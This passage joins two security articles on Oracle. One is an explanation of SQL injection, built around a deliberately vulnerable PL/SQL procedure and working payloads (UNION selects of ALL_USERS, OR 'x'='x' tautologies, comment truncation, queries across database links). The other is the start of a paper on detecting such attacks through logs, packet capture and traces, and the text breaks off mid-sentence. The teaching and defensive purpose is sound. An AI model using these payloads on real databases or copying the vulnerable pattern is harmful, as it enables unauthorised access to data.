    •    Reports, discoverer, Oracle Applications
    •    3- and 4GL-based languages such as C, OCI, Pro*C, and COBOL
    •    Perl and CGI scripts that access Oracle databases
    •    many more.


Any of the above applications, tools, and products could be used as a base from which to SQL
inject an Oracle database. A few simple preconditions need to be in place first though. First
and foremost amongst these is that dynamic SQL must be used in the application, tool, or
product, otherwise SQL Injection is not possible.


The final important point not usually mentioned in discussions about SQL injection against any
database including Oracle is that SQL injection is not just a Web-based problem. As is implied
in the preceding paragraph, any application that allows a user to enter data that may
eventually end up being executed as a piece of dynamic SQL can potentially be SQL injected.
Of course, Web-based applications present the greatest risk, as anyone with a browser and an
Internet connection can potentially access data they should not.


While second article of this series will include a much more in-depth discussion of how to
protect against SQL injection attacks, there are a couple of brief notes that should be
mentioned in this introductory section. Data held in Oracle databases should be protected
from employees and others who have network access to applications that maintain that data.
Those employees could be malicious or may simply want to read data they are not authorized
to read. Readers should keep in mind that most threats to data held within databases come
from authorized users.


Protecting against SQL Injection on Oracle-based systems is simple in principle and includes
two basic stages. These are:


    1.   Audit the application code and change or remove the problems that allow injection to
         take place. (These problems will be discussed at greater length in the second part of
         this series.)
    2.   Enforce the principle of least privilege at the database level so that even if someone is
         able to SQL inject an application to steal data, they cannot see anymore data than the
         designer intended through any normal application interface.


The “Protection” section, which will be included in the second part of this series, will discuss
details of how to apply some of these ideas specifically to Oracle-based applications.


How Can Oracle be Abused


Oracle is like any other database product and, as a result, is vulnerable to SQL injection
attacks. While Oracle fairs slightly better than some of the others, the following abuses can be
inflicted on an Oracle database:


    •   UNIONS can be added to an existing statement to execute a second statement;
    •   SUBSELECTS can be added to existing statements;
    •   Existing SQL can be short-circuited to bring back all data. This technique is often used
        to gain access via third party-implemented authentication schemes;
    •   A large selection of installed packages and procedures are available, these include
        packages to read and write O/S files;
    •   Data Definition Language (DDL) can be injected if DDL is used in a dynamic SQL
        string;
    •   INSERTS, UPDATES and DELETES can also be injected; and,
    •   Other databases can be injected through the first by using database links.


On the other hand, the following abuses are not possible:

    •   Multiple statements are not allowed; and,
    •   It is also not possible to SQL inject a call that uses bind variables; this is therefore a
        good solution to most of the SQL injection issues.


Some Specific Examples


Web-based applications constitute the worst threat of SQL injection. These can be written
using JSP, ASP, or many of the other languages listed above. Some would argue that SQL
injection is only an issue for Web-based applications and at this time this is probably true, as
SQL injection is not a particularly well-established threat, especially with Oracle.


To illustrate some of the possibilities of SQL injection on Oracle, I have written a simple
PL/SQL procedure that displays the phone number of customers from a hypothetical customer
table in a database. As stated in the introduction, it is possible to inject into any piece of SQL
that is dynamically built at run time where the input data is not filtered or checked, so it is
possible to demonstrate SQL injection using PL/SQL and the ubiquitous tool SQL*Plus. The
procedure uses native dynamic SQL to pass a run-time piece of SQL to the database. I decided
to use PL/SQL and SQL*Plus so that any reader having access to Oracle can try out the
samples, as no special tools are required other than to have an Oracle database greater than
8i installed. Using a PL/SQL procedure and dynamic SQL is identical in all respects to Web-
based SQL injection except that it is local and not remote, readers should bear this in mind
while reading through this paper. Also, because of this approach we do not use any character
encoding techniques to pass special characters or metacharacters to the database server from
a Web browser. The example table structure used is:

SQL> desc customers
 Name                                      Null?                        Type
 ----------------------------------------- --------                     -------------------
---------
 CUSTOMER_FORNAME                                                       VARCHAR2(30)
 CUSTOMER_SURNAME                                                       VARCHAR2(30)
 CUSTOMER_PHONE                                                         VARCHAR2(30)
 CUSTOMER_FAX                                                        VARCHAR2(30)
 CUSTOMER_TYPE                                                       NUMBER(10)
The table has been loaded with three records as follows:
SQL> select * from customers;

CUSTOMER_FORNAME                         CUSTOMER_SURNAME
------------------------------           ------------------------------
CUSTOMER_PHONE                           CUSTOMER_FAX
CUSTOMER_TYPE
------------------------------           ------------------------------ ---------
----
Fred                                     Clark
999444888                                999444889
3

Bill                                     Jones
999555888                                999555889
2

Jim                                      Clark
999777888                                999777889
1

The sample procedure used is created with the following code. For these tests I have used the
default user DBSNMP, who has many privileges that are not necessary for a general user. This
user illustrates the problem of Web-based users being limited to least privilege:

create or replace procedure get_cust (lv_surname in varchar2)
is
        type cv_typ is ref cursor;
        cv cv_typ;
        lv_phone        customers.customer_phone%type;
        lv_stmt         varchar2(32767):='select customer_phone '||
                                        'from customers '||
                                        'where customer_surname='''||
                                        lv_surname||'''';
begin
        dbms_output.put_line('debug:'||lv_stmt);
        open cv for lv_stmt;
        loop
                fetch cv into lv_phone;
                exit when cv%notfound;
                dbms_output.put_line('::'||lv_phone);
        end loop;
        close cv;
end get_cust;
/

It is not possible to simply add another statement onto an existing statement built by the
procedure for execution as it is with some other databases, such as MS databases. The
following illustrates this with our sample procedure:

SQL> exec get_cust('x'' select username from all_users where
''x''=''x');
debug:select customer_phone from customers where customer_surname='x'
select
username from all_users where 'x'='x'
-933ORA-00933: SQL command not properly ended

The procedure expects a surname of a customer and should build a statement of the form:

select customer_phone from customers where customer_surname='Jones'

As can be seen, it is possible to add extra SQL after the name by escaping out of the SQL
statement by using quotes and adding in the extra SQL. The preceding example shows that an
Oracle error is returned if we try and send two statements at once to the RDBMS. Statements
in Oracle tools and languages are delimited by semicolons (;) so we can try that next:

SQL> exec get_cust('x'';select username from all_users where
''x''=''x');
debug:select customer_phone from customers where
customer_surname='x';select
username from all_users where 'x'='x'
-911ORA-00911: invalid character

Again this doesn’t work, as another Oracle error code is returned. Adding a semicolon after the
first statement will not allow a second statement to be executed, so the only way to get Oracle
to execute extra SQL is to either extend the existing where clause or to use a union or a
subselect. The next example shows how to get extra data from another table. In this case, we
will read a list of users in the database from the dictionary view ALL_USERS.

SQL> exec get_cust('x'' union select username from all_users where
''x''=''x');
debug:select customer_phone from customers where customer_surname='x'
union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::MDSYS
::ORDPLUGINS
::ORDSYS
::OSE$HTTP$ADMIN
::OUTLN
::SYS
::SYSTEM
::TRACESVR

The example works! We can also use subqueries to extend an existing select statement. These
are less useful, as they cannot alter the existing select list used to add new columns from
other tables; however, they can be used to alter which records are returned by the existing
query. An example is shown to return all of the records in the table:

SQL> exec get_cust('x'' or exists (select 1 from sys.dual) and
''x''=''x');
debug:select customer_phone from customers where customer_surname='x'
or exists
(select 1 from sys.dual) and 'x'='x'
::999444888
::999555888
::999777888

The extra “and ‘x’=’x’” is needed to close the original quote expected in the SQL string in the
procedure. The above example returns all of the records in our sample table. This is a simple
example and the technique can be used more creatively than in this instance.


The next example discusses truncating the rest of a where clause so that all of the records in
the table are returned. The classic use of this is the case where the Web application writers
have implemented authentication and the method of logging in is to find a valid record in the
users table where the username and password match. Such an example could be:

select * from appusers where username=’someuser’ and
password=’somecleverpassword’

To truncate this behaviour we can make the SQL return all of the records in the table; this
usually allows a login to occur. Usually this will return the administrator record first!! Here is
an example of truncation with our sample table of customers. All of the records can be
returned by using an “OR ‘x’=’x’” in the where clause as follows:

SQL> exec get_cust('x'' or ''x''=''x');
debug:select customer_phone from customers where customer_surname='x'
or 'x'='x'
::999444888
::999555888
::999777888

Next, the procedure has been modified to extend the SQL used so that there is a second part
of the where clause to truncate. Here is the modified procedure first:

create or replace procedure get_cust2 (lv_surname in varchar2)
is
        type cv_typ is ref cursor;
        cv cv_typ;
        lv_phone        customers.customer_phone%type;
        lv_stmt         varchar2(32767):='select customer_phone '||
                                'from customers '||
                                'where customer_surname='''||
                                lv_surname||''' and customer_type=1';
begin
        dbms_output.put_line('debug:'||lv_stmt);
        open cv for lv_stmt;
        loop
                fetch cv into lv_phone;
                exit when cv%notfound;
                dbms_output.put_line('::'||lv_phone);
        end loop;
        close cv;
exception
        when others then
                dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;

This is to demonstrate the use of the “- -“ comment characters to truncate the end of a where
clause. This technique is useful where an application screen has more than one entry field that
is added to the dynamic SQL and passed to the database. To simplify adding extra SQL to get
around all of the fields we can add a “- -“ in what we think is the first field on the screen and
first add the SQL we need. The following demonstrates this:

SQL> exec get_cust2('x'' or ''x''=''x'' --');
debug:select customer_phone from customers where customer_surname='x'
or 'x'='x'
--' and customer_type=1
::999444888
::999555888
::999777888

Running this, we can see that all three records are returned due to the “or” statement. If the
comment wasn’t there, we would still include the line “and customer_type=1”. Another
example on the same theme allows us to use the union and the select on the table all_users
as above and then comment out the rest of the where clause.


All of the above examples show select statements being injected with extra SQL. The same
principles also apply to insert statements, update statements and delete statements. Other
statements available in Oracle include DDL (Data Definition Language) statements, which are
statements to alter the schema or database instance. Examples include creating tables or
indexes or altering the language set used. Statements cannot generally be mixed because, as
was illustrated above, we cannot just send two statements to the RDBMS at the same time, so
if a select statement is the only one available we cannot just add a delete or insert to it.
Often applications include a way to send any SQL to the server. This is bad programming
practice, as it allows statements such as DDL to be executed. It can be argued that this case is
not SQL injection because any SQL can be executed, therefore you do not need to alter an
existing piece!


The final piece of the puzzle to talk about is packages, procedures and functions. It is possible
to call PL/SQL functions from SQL statements. The rules vary slightly with each version of
Oracle and indeed it was not possible to do so until PL/SQL version 2.1, which came with
Oracle RDBMS version 7.1. There are literally thousands of built-in functions and procedures
provided with the standard packages. These generally start with DBMS or UTL. The headers
can be found in $ORACLE_HOME/rdbms/admin or a list of packages procedures or functions
can be obtained by querying the database as follows:

SQL>   col owner for a15
SQL>   col object_type for a30
SQL>   col object_name for a30
SQL>   select owner,object_type,object_name
  2   from dba_objects
  3   where object_type in('PACKAGE','FUNCTION','PROCEDURE');

OWNER                OBJECT_TYPE                    OBJECT_NAME
---------------      ------------------------------ ------------------------
------
SYS                  FUNCTION                                  CLIENT_IP_ADDRESS
SYS                  FUNCTION                                  DATABASE_NAME
SYS                  FUNCTION                                  DBJ_LONG_NAME
SYS                  FUNCTION                                  DBJ_SHORT_NAME
SYS                  PACKAGE                                   DBMSOBJG
…
CTXSYS               PACKAGE                                   DR_DEF
CTXSYS               PROCEDURE                                 SYNCRN

391 rows selected.

Here is an example that calls a built in function supplied with Oracle. The function
(SYS.LOGIN_USER) in this case is quite simple and just returns the logged-in user, but it
illustrates the principle.

SQL> exec get_cust('x'' union select sys.login_user from sys.dual where
''x''=''x');
debug:select customer_phone from customers where customer_surname='x'
union
select sys.login_user from sys.dual where 'x'='x'
::DBSNMP

The functions or procedures that can be called from SQL are quite limited: the function must
not alter the database state or package state if called remotely, and the function cannot alter
package variables if it is called in a where clause or group by clause. In versions earlier than
Oracle 8, very few built-in functions or procedures can be called from a PL/SQL function that is
called in SQL statements. The restrictions have been lifted somewhat from Oracle 8, but users
should not expect to be able to call file or output type packages such as UTL_FILE or
DBMS_OUTPUT or DBMS_LOB directly from SQL statements, as they must be executed in a
PL/SQL block or called by the execute command from SQL*Plus. It is possible to use many of
these procedures if they are part of a function that is written to be called from SQL.


To SQL inject and use PL/SQL packages, procedure or functions really requires a case of
dynamic PL/SQL. If a form or application builds and executes dynamic PL/SQL in the same
manner as described above, the same techniques can be used to insert calls to standard
PL/SQL packages on any PL/SQL packages or functions that exist in the schema.


If any database links exist from the database being attacked to any other database in the
organisation, those links can also be utilized in SQL injection attempts. This allows an attack
through the firewall to a database that is potentially not even accessible from the Internet!
Here is a simple example using our PL/SQL procedure to read the system date from another
database on my network.

SQL> exec get_cust('x'' union select to_char(sysdate) from
sys.dual@plsq where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x'
union
select to_char(sysdate) from sys.dual@plsq where 'x'='x'
::13-NOV-02

Conclusion


This concludes the first instalment in our two-part series on SQL injection and Oracle database
software. This article has offered a brief overview of SQL injection, as well as some examples
of how this technique may be employed against Oracle software. The next part will cover
detecting SQL injection and protecting against SQL injection.

Pete Finnigan is a freelance consultant specialising in Oracle and security of Oracle. Pete is
currently working in the UK financial sector and has recently completed the new Oracle
security step-by-step guide for the SANS institute. Pete has many years of development and
administration experience in many languages. Pete is regarded as one of the worlds leading
experts on Oracle security.

Watch for the forthcoming book The SANS Institute Oracle Security Step-by-step – A survival guide for
Oracle security written by Pete Finnigan with consensus achieved by experts from over 53 organizations
with over 230 years of Oracle and security experience. Due to be published in the next few weeks by the
SANS Institute.




Relevant Links

All of the code from this paper is available from the author's Web site from the scripts menu - SQL
and PL/SQL option.</< A>
www.petefinnigan.com

Protecting Oracle Databases Whitepaper
Aaron Newman, Application Security Inc

Hackproofing Oracle Application Servers
David Litchfield, NGSSoftware Insight Security Research

Rain Forest Puppy

RFPlutonium to fuel your PHP-Nuke
Rain Forest Puppy

NT Web Technologies Vulnerabilities
Rain Forest Puppy
                                  Detecting SQL Injection in Oracle

Introduction

Last year I wrote a two-part paper about SQL Injection and Oracle. That paper explored which SQL injection
techniques are possible with Oracle, gave some simple examples on how SQL injection works and some
suggestions on how to prevent attackers and malicious employees using these methods. Those SQL Injection
papers can be found here:


    •   "SQL injection and Oracle - part one"
    •   "SQL injection and Oracle - part two"


This paper takes the subject further and investigates the possibilities for the Oracle Database Administrator
(DBA) to detect SQL injection in the wild against her Oracle database. Is it possible to detect SQL injection
happening? If so what tools and techniques can be employed to achieve this?


The main focus of this paper is to explore some simple techniques in extracting logging and trace data that
could be employed for monitoring. The aim is to show the reader what data is readily available so they can
make their own mind up about what can be useful. The paper will not cover commercial solutions. Because a
true SQL injection tool would involve writing a parser or filter to analyse the SQL statements a fully featured
tool is unfortunately beyond the scope of a short paper - I leave the implementation of such a tool to interested
readers.


Example code given in this paper can be obtained from http://www.petefinnigan.com/sql.htm.


Can SQL Injection be detected?

The short answer is definitely yes... err... well err... probably... that is, yes it is possible to detect SQL injection
but probably not all of the time for all cases and not always in real time. The reasons for this are many and
complicated:


    •   There are many different forms of SQL injection attacks that can take place - these are limited only by
        the hacker's imagination and the DBA's foresight (or lack thereof) to protect the database and provide
        the least privileges necessary.
    •   Identifying SQL that shouldn't be there is not simple. The reason SQL injection is possible is because of
        the use of dynamic SQL in applications. This intended dynamic SQL means that the set of all legal SQL
        statements is harder if impossible to define. If the legal statements are impossible to define then so are
        the illegal ones.
    •   Distinguishing normal administration from an attacker is not always easy as an attacker can steal an
        administrator's account.
    •   Detecting SQL injection inevitably involves parsing the SQL statement for possible additions or
        truncations to it. Table names and view names need to be extracted and checked to see if they should
        be altered.
    •   For a technique to be useful it should not affect the performance of the database too much.
    •   Corroborating data such as usernames and timestamps are also need to be extracted at the same time.
    •   Many more...


It is possible to detect SQL injection attempts in general and specifically against Oracle. How can we do this,
and what data is available? This paper attempts to explore these questions.


The first step is to define the boundary conditions, or what actions are to be detected and then to look at the
possible free solutions within Oracle and how these can be used to good effect.


Some possible commercial solutions

There are no real commercial solutions that specifically detect SQL injection attempts against an Oracle
database. There are a reasonable number of firewall products that incorporate an Oracle proxy and a few IDS
tools that claim to support Oracle. A number of companies are at present seriously looking into the design and
development of a true application IDS for Oracle, and perhaps these tools will detect SQL injection. At present
most of the commercial tools to be used properly would need rules and signatures to be defined for the specific
Oracle cases.


Some free solutions

The ideal list of all possible SQL injection types or signatures is impossible to define in totality but a good
starting point would cover the following possibilities:


    •   SQL where the addition of a union has enabled the reading of a second table or view
    •   SQL where an unintentional sub-select has been added.
    •   SQL where the where clause has been short-circuited by the addition of a line such as 'a'='a' or 1=1
    •   SQL where built-in or bespoke package procedures are called where they should not be.
    •   SQL where access is made to system tables and/or application user and authentication tables.
    •   SQL where the where clause has been truncated with a comment i.e --
    •   Analysis of certain classes of errors - such as multiple errors indicating that select classes have the
        wrong number of items or wrong data types. This would indicate someone trying to create an extra
        select using a union.


The key is to keep it simple at first; trying to do something too complicated with ad-hoc and built in tools will
never work efficiently and effectively. It is important to not get too clever with SQL and the assumptions about
what is legal SQL and what is hacker-created SQL. Beware of the false positives. Keep it simple and be
proactive - use more than one method if possible and extend and learn.


Any tool or system employed to detect SQL injection could identify most of the above list of possibilities. In
trying to identify where the data can come from to analyse SQL, the following steps should be possible for one
or more of the techniques:


    •   Grab the SQL as it is sent to the database or as soon after as possible
    •   Analyse the SQL to check for some or all of the above cases that indicate SQL injection
    •   Obtain user and timestamp data


Concentrating on grabbing the SQL and whether it is possible to get timestamp and user info as well as possible
further analysis leads to the following list of possibilities:


    •   Pre-existing packet sniffers / IDS tools such as snort (not included in the experiments below)
    •   A free packet sniffer such as snoop
    •   Oracle networking trace files
    •   Oracle server trace files
    •   Extracting the SQL from the Oracle server memory (SGA)
    •   Use of a tool such as Oracle Log Miner and possibly the raw analysis of redo logs
    •   Oracle Audit
    •   Database Triggers
    •   Fine grained audit (FGA)


There are some issues to be aware of. The audit facilities can rarely be used for more than a smoking gun. If
Oracle advanced options are used to encrypt network traffic then extracting the SQL from the network will be
difficult. If trace facilities are used they tend to generate huge amounts of data and consume system resources.
Any method that does not allow the detection of select statements whilst trapping others is really not useful.


If it is not possible to detect SQL injection taking place in real time, it is better to know after the fact than to not
know it is happening at all.


Worked examples

Next we can work through some simple examples of a SQL injection attempt using one of the examples from
my previous papers. The first step is to create the sample customer table, add data, and also create the
demonstration procedure get_cust.


An example SQL injection attempt that will be used below to see if it is detected is:

SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::EMIL
::FRED

Let us now explore what trace, packet, audit and internal information is available that records any evidence of
running this query.


Log Miner


Oracle provides two database package procedures DBMS_LOGMNR and DBMS_LOGMNR_D that allow archive
logs and on-line redo logs to be analysed. The redo logs contain all the information to replay every action in the
database. These are used for point in time recovery and for transaction and data consistency. However there
are some serious problems with the Log Miner functionality. These can be listed as follows:


    •    If an MTS database is used, Log Miner cannot be used due to the internal memory allocation of this tool.
         Log Miner uses PGA memory which would not be visible to each thread used in Multi Threaded Server
         (MTS).
    •    The tool doesn't properly support chained and migrated rows and also objects are not fully supported.
         Analysis of index-only tables and clusters are also not supported. The tool can still be used even though
         the output has gaps in it.
    •    The SQL generated by Log Miner is not the same SQL executed by the user. This is because the redo
         logs store enough data to change the data at row and column level and so the original compound
         statements cannot be reproduced.


Some advantages of Log Miner are:


    •    Analysis doesn't have to be done in the source database so archive logs could be moved to a dedicated
         database for the whole organisation and analysed offline.
    •    There is a GUI tool available via the Oracle Enterprise Manager (OEM)


Also, to make the use of this tool realistic the database has to be in ARCHIVELOGMODE and
transaction_auditing needs to be true in the initialisation file for user information to be included.


This is a very effective tool for after the fact analysis and forensics to find out exactly when some event
occurred within the database and who did it. It can be used successfully to help recover, for instance, a table
deleted by accident.


Redo logs can also be analysed by hand the hard way. A good paper demonstrating this can be found here
(PDF).


Now we can run through the example and explore the contents of the archive logs. First check if the database is
in ARCHIVELOGMODE, determine where the archive logs are written to, and finally that username auditing is
on.

SQL> select log_mode from v$database;

LOG_MODE
------------
ARCHIVELOG

SQL> select name,value from v$parameter
  2   where name in('log_archive_start','log_archive_dest');

NAME
----------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
log_archive_start
TRUE

log_archive_dest
/export/home/u01/app/oracle/admin/emil/archive

To detect which user executed a command:

SQL> select name,value from v$parameter
  2 where name = 'transaction_auditing';

NAME
----------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
transaction_auditing
TRUE

Now execute the SQL injection attempt and then use Log Miner to see what is recorded. To make the analysis
easier for this example, the archive log is saved before and after to ensure only this command is in the log:

SQL> connect sys as sysdba
Enter password:
Connected.
SQL> alter system archive log current;

System altered.

SQL>
SQL> connect dbsnmp/dbsnmp@emil
Connected.
SQL> set serveroutput on size 100000
SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');
debug:select customer_phone from customers where customer_surname='x' union
select username from all_users where 'x'='x'
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::EMIL
<records snipped>
::SYS
::SYSTEM
::WKSYS
::ZULIA

PL/SQL procedure successfully completed.

SQL> connect sys as sysdba
Enter password:
Connected.
SQL> alter system archive log current;

System altered.

SQL>

First create the Log Miner dictionary:

SQL> set serveroutput on size 1000000
SQL> exec dbms_logmnr_d.build('logmnr.dat','/tmp');
LogMnr Dictionary Procedure started
LogMnr Dictionary File Opened
TABLE: OBJ$ recorded in LogMnr Dictionary File
TABLE: TAB$ recorded in LogMnr Dictionary File
TABLE: COL$ recorded in LogMnr Dictionary File
TABLE: TS$ recorded in LogMnr Dictionary File
<output snipped>
Procedure executed successfully - LogMnr Dictionary Created

PL/SQL procedure successfully completed.

SQL>

Find the correct archive log file:

SQL> select name
  2 from v$archived_log
  3 where completion_time=(select max(completion_time) from v$archived_log);

NAME
--------------------------------------------------------------------------------
/export/home/u01/app/oracle/admin/emil/archive/1_7.dbf

SQL>

Now load the archive log file into Log Miner:
SQL> exec
dbms_logmnr.add_logfile('/export/home/u01/app/oracle/admin/emil/archive/1_7.dbf',sys.
dbms_logmnr.NEW);

PL/SQL procedure successfully completed.
SQL> exec dbms_logmnr.start_logmnr(dictFileName => '/tmp/logmnr.dat');

PL/SQL procedure successfully completed.

SQL>

Finally, search the results:

SQL> select scn,username,timestamp,sql_redo
  2      from v$logmnr_contents
SQL>
<snipped>
       SCN USERNAME        TIMESTAMP SQL_REDO
---------- --------------- --------- ------------------------------
    253533 DBSNMP          16-JUN-03 set transaction read write;
    253533 DBSNMP          16-JUN-03 update "SYS"."AUD$" set
                                     "ACTION#" = '101',
                                     "RETURNCODE" = '0',
                                     "LOGOFF$LREAD" = '228',
                                     "LOGOFF$PREAD" = '0',
                                     "LOGOFF$LWRITE" = '10',
                                     "LOGOFF$DEAD" = '0',
                                     "LOGOFF$TIME" =
                                     TO_DATE('16-JUN-2003
                                     12:16:12', 'DD-MON-YYYY

       SCN USERNAME        TIMESTAMP SQL_REDO
---------- --------------- --------- ------------------------------
                                     HH24:MI:SS'), "SESSIONCPU" =
                                     '5' where "ACTION#" = '100'
                                     and "RETURNCODE" = '0' and
                                     "LOGOFF$LREAD" IS NULL and
                                     "LOGOFF$PREAD" IS NULL and
                                     "LOGOFF$LWRITE" IS NULL and
                                     "LOGOFF$DEAD" IS NULL and
                                     "LOGOFF$TIME" IS NULL and
                                     "SESSIONCPU" IS NULL and ROWID
                                     = 'AAAABiAABAAAAEWAAX';



       SCN USERNAME        TIMESTAMP SQL_REDO
---------- --------------- --------- ------------------------------
    253534 DBSNMP                   16-JUN-03 commit;
<snipped output>

The first thing that can be noticed is that Log Miner does not process select statements and display the output
in 9i. The Log Miner package doesn't support selects as they are not stored in the redo logs. It is possible to use
Log Miner to read on-line redo logs but I will leave that to the reader to experiment with. Even though SQL
injection can be detected in insert, delete and update statements, Log Miner is not suitable for detecting SQL
injection. This is due to its lack of being able to detect select statements as well as some of the other issues
mentioned above.


Packet sniffing


The main issue with packet sniffing for connections to the Oracle database is that the Oracle network protocol is
proprietary and not published. Does that matter for trying to ascertain if SQL injection attempts have taken
place? Probably yes, as access to the protocol would allow a better design and efficient tool for this task.
Without access to the protocol and no wish to reverse engineer it, the task is limited to grabbing ASCII text
strings from the wire. There are both advantages and disadvantages with this method:


Advantages:


    •   A system could be implemented on a separate server allowing real time analysis without impacting the
        source database.


Disadvantages:


    •   This method can be resource intensive.
    •   The packets need to be sniffed close to the source and on the same subnet to ensure all packets pass in
        front of the sniffer.
    •   If the Oracle advanced security options for encrypting of network packets or any other third party
        solution is used to encrypt, sniffing packets will not work.
    •   If, as in our example, the SQL injection attempt is passed as a call to a package procedure then the true
        internal dynamic SQL will not be visible. Instead you will simply see the typed in command.
    •   Packet sniffing every packet will generate a huge amount of data. Piping the packets through a filter
        program is a solution to mitigate this issue.


To demonstrate, we will use snoop on Solaris to see what is visible within network packets. Start up snoop and
fire the SQL from a SQL*Plus session:

root:jupiter> snoop -t a -x 0 jupiter and port 1521 | strings
Using device /dev/hme (promiscuous mode)
15:06:34.31348 172.16.240.3 -> jupiter      TCP D=1521 S=1404     Ack=299902194
Seq=26460609 Len=174 Win=8413
   0: 0800 2092 9d88 00a0 ccd3 a550 0800 4500    .. ........P..E.
  16: 00d6 6884 4000 8006 596d ac10 f003 ac10    ..h.@...Ym......
  32: f00b 057c 05f1 0193 c1c1 11e0 24f2 5018    ...|........$.P.
  48: 20dd 0f36 0000 00ae 0000 0600 0000 0000     ..6............
  64: 1169 36a4 61de 0001 0101           0303   5e37   0304.i6.a.......^7..
  80: 0021 0078 71de 0001 52bc           39de   0001   0a00.!.xq...R.9.....
  96: 0000 00e0 39de 0000 0101           0000   0000   0000....9...........
 112: 0000 0000 0000 0000 0000           0000   0000   0000................
 128: e239 de00 4245 4749 4e20           6765   745f   6375.9..BEGIN get_cu
 144: 7374 2827 7827 2720 756e           696f   6e20   7365st('x'' union se
 160: 6c65 6374 2075 7365 726e           616d   6520   6672lect username fr
 176: 6f6d 2061 6c6c 5f75 7365           7273   2077   6865om all_users whe
 192: 7265 2027 2778 2727 3d27           2778   2729   3b20re ''x''=''x');
 208: 454e 443b 0a00 0101 0101           0000   0000   0001END;............
 224: 0800 0105                                            ....
15:06:34.33281      jupiter ->           172.16.240.3 TCP D=1404 S=1521     Ack=26460783
Seq=299902194 Len=54 Win=24820
   0: 00a0 ccd3 a550 0800 2092           9d88 0800 4500          .....P.. .....E.
  16: 005e 094a 4000 4006 f91f           ac10 f00b ac10          .^.J@.@.........
  32: f003 05f1 057c 11e0 24f2           0193 c26f 5018          .....|..$....oP.

An immediate success with this method is apparent, because the SQL is captured with the SQL injection attempt
in it. As with other methods in this article, to take this further a few things would need to be done:


    •   A filter program would need to be implemented that could parse out the SQL statements and determine
        if any potential SQL injection attempt has taken place.
    •   To be of any real use the filter program would also need to extract the timestamp from the packet
        header as well as the source IP address.
    •   Extracting the database user would be extremely difficult as previous packets would need to be
        inspected to extract login information. This would also suggest the need to store previous packets or
        information about them and their sequence to do this.


As a simple solution, packet sniffing would appear to be an option provided a reasonably simple filter/parser
program can be written in Perl or C. The goal would be to output the possible wrongdoing by extracting the
SQL, timestamp and src and dest IP from the packet stream.


Sniffing packets within oracle (sqlnet trace)


Extracting network information closer to Oracle is possible by using the trace facility of SQL*Net, Net*8 or
Oracle networking (whichever name is relevant to your database release).


Trace facilities are available for most of the Oracle networking tools such as the listener, Oracle names,
connection manager, names control utility and of course the Oracle networking client and server. In this
example we can concentrate on the server trace. It is possible to trace from the client end but it would be
necessary to do so for all clients and thus harder to manage.


There are some disadvantages to using Oracle networking trace files as a tool to look for SQL injection:


    •   The trace files can grow very quickly and use an enormous amount of disk space. If not managed
        correctly there is a danger of filling a disk and a possible denial of service taking place.
    •   There is an overhead involved in writing the trace files.
    •   Even though it is possible to define a unique trace file name and location, Oracle appends a process ID
        (PID) to the trace file name. This is the operating system PID of the shadow process. The pid can be
        seen with the following SQL:
    •     SQL> select p.spid,s.username
    •       2 from v$session s,v$process p
    •       3 where s.paddr=p.addr;
    •
    •     SPID      USERNAME
    •     --------- ------------------------------
    •     <records snipped>
    •     616       DBSNMP
    •     556       SYSTEM
    •
    •     9 rows selected.
    •
    •     SQL>

To enable trace simply add the following lines to the $ORACLE_HOME/network/admin/sqlnet.ora file:

TRACE_FILE_SERVER=pf_trace.trc
TRACE_DIRECTORY_SERVER=/tmp
TRACE_LEVEL_SERVER=SUPPORT

The parameters define where the trace is to be written, what it is called and also the level. There are four levels
that can be used: OFF, USER, ADMIN and SUPPORT. They rise in detail from OFF to SUPPORT; the SUPPORT
level includes the contents of the network packets.


Let's run our example again from SQL*Plus on a Windows client and see what is generated in the trace file. The
trace file is as expected, pf_trace_616.trc. Wow, this file is 4005 lines in length just from connecting and
executing the following:

SQL> exec get_cust('x'' union select username from all_users where ''x''=''x');

PL/SQL procedure successfully completed.

Searching in the trace for the packet dump we can find the SQL injection attempt sent to the database:

nsprecv:    165 bytes from transport
nsprecv:    tlen=165, plen=165, type=6
nsprecv:    packet dump
nsprecv:    00 A5 00 00 06 00 00 00 |........|
nsprecv:    00 00 03 5E 35 03 04 00 |...^5...|
nsprecv:    21 00 78 71 DE 00 01 52 |!.xq...R|
nsprecv:    BC 39 DE 00 01 0A 00 00 |.9......|
nsprecv:    00 00 E0 39 DE 00 00 01 |...9....|
nsprecv:    01   00   00   00   00   00   00   00   |........|
nsprecv:    00   00   00   00   00   00   00   00   |........|
nsprecv:    00   00   00   00   00   00   00   E2   |........|
nsprecv:    39   DE   00   42   45   47   49   4E   |9..BEGIN|
nsprecv:    20   67   65   74   5F   63   75   73   | get_cus|
nsprecv:    74   28   27   78   27   27   20   75   |t('x'' u|
nsprecv:    6E   69   6F   6E   20   73   65   6C   |nion sel|
nsprecv:    65   63   74   20   75   73   65   72   |ect user|

nsprecv:    6E   61   6D   65   20   66   72   6F   |name fro|
nsprecv:    6D   20   61   6C   6C   5F   75   73   |m all_us|
nsprecv:    65   72   73   20   77   68   65   72   |ers wher|
nsprecv:    65   20   27   27   78   27   27   3D   |e ''x''=|
nsprecv:    27   27   78   27   29   3B   20   45   |''x'); E|
nsprecv:    4E   44   3B   0A   00   01   01   01   |ND;.....|

Whilst using SQL*Net trace files are a possibility, there are a number of issues besides the items listed above:


    •   Once again a parser would be needed to extract the SQL text from the packet dumps and to then
        identify from a set of rules whether the SQL might be a SQL injection attempt.
    •   The PID used as part of the trace file name is not known until the user connects and the shadow
        process it started. If the filenames were not unique then like snoop the trace could be piped through a
        filter and the disk usage issue would go away.
    •   The trace files could be monitored regularly with a simple shell script that checks for trace files where
        there is no longer a shadow process running. These can then be processed and removed. Long running
        sessions would generate huge trace files and not be ideally managed in this way.
    •   It is easier to determine the OS user and database user involved with SQL*Net traces as this
        information can be found from the v$process and v$session views with knowledge of the OS PID.


This method is not practical for implementing a simple SQL injection utility in an organisation. The resource
issues alone would make it difficult to manage and work with. It could be used sparingly when a suspected
